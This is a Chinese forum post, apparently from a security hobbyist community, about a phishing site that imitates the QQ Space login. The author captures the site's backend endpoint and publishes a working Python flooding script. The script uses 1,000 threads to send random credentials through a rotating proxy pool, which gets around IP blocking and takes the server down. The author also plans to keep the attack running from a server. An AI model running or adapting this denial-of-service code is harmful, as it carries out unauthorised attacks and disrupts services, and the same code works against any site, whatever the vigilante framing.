事情還要從我在吾愛看到的一個網址說起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/
打開之後是一個模仿QQ空間登陸的頁面,然後你在賬號密碼框裏輸入任何東西,它都會跳轉到QQ郵箱的頁面(這裏的QQ郵箱確實是騰訊旗下的QQ郵箱),這樣會給很多小白
造成錯覺:嗯,一定是QQ家族出現了問題,我登陸QQ空間竟然給我跳到QQ郵箱了。
我們來抓下包,在這個頁面打開開發者工具(右鍵-檢查),打開Network,因爲後面會有跳轉,所以勾選上Preserve log,然後隨便輸入一串賬號密碼,點擊登陸
然後會發現抓到了api.php,完整地址是http://tencent.outlook.com.eskdp.xyz/mail/api/api.php
post方法發送了兩個字段username和password
記住這個地址,後面程序要用到
好的,我們已經拿到了真實的後臺地址,想到這,某人咧嘴一笑,我們的思路是不停的給它發送請求,直到他的服務器崩潰(後面發現過段時間還會重啓)
於是第一版本的代碼就出爐了,通過多線程併發瘋狂發送post請求,經過測試發現有些問題,就是這個網站好像可以鎖定IP,對請求的IP進行限制,看到這種情況下,
某人咧嘴一笑,想到了IP的代{過}理{濾}池,於是clone了一個git開源項目,給這個程序注入靈魂,於是開啓程序,一分鐘後,再次刷新那個釣魚網站,已經打不開了。
我用的代{過}理{濾}池項目是https://github.com/jhao104/proxy_pool
這個項目我啓動的時候遇到了報錯,如果有一樣的問題可以看我提的issue:https://github.com/jhao104/proxy_pool/issues/453
下面放代碼
#coding=utf-8
'''
瘋狂發送post請求
'''
import requests
import random
from time import ctime
import threading
count = 1
def get_proxy():
return requests.get("http://127.0.0.1:5010/get/").json()
def delete_proxy(proxy):
requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy))
def getResponse(postJson):
# ....
retry_count = 5
url = 'http://tencent.outlook.com.eskdp.xyz/mail/api/api.php'
proxy = get_proxy().get("proxy")
while retry_count > 0:
try:
response = requests.post(url, proxies={"http": "http://{}".format(proxy)}, data=postJson)
# 使用代理訪問
return response
except Exception:
retry_count -= 1
# 出錯5次, 刪除代理池中代理
delete_proxy(proxy)
return None
#創建請求函數
def postRequest():
global count
Number = "0123456789qbcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ"
postJson= {"username":random.randint(10000,9999999999),"password":"".join(random.choice(Number) for i in range(random.randint(6,10)))}#值以字典的形式傳入
# response = requests.post(url=url,data=postJson)
response = getResponse(postJson)
# if response is not None
try:
print("狀態碼:", response.status_code, "第", count, "次發送成功")
count += 1
except :
pass
#創建數組存放線程
threads=[]
#創建1000個線程
for i in range(1000):
#針對函數創建線程
t=threading.Thread(target=postRequest,args=())
#把創建的線程加入線程組
threads.append(t)
if __name__ == '__main__':
#啓動線程
for i in threads:
i.start()
#keep thread
for i in threads:
i.join()
後續我準備改進一下,增加週期性檢測,然後放到服務器上,只要檢測到網頁可以打開就持續發送,對於這種危害大家信息安全的釣魚網站,正是需要我們共同努力維護網絡安全。